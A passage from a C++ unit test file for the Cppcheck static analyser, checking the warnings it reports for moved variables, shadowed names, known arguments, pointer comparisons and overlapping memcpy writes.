m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n 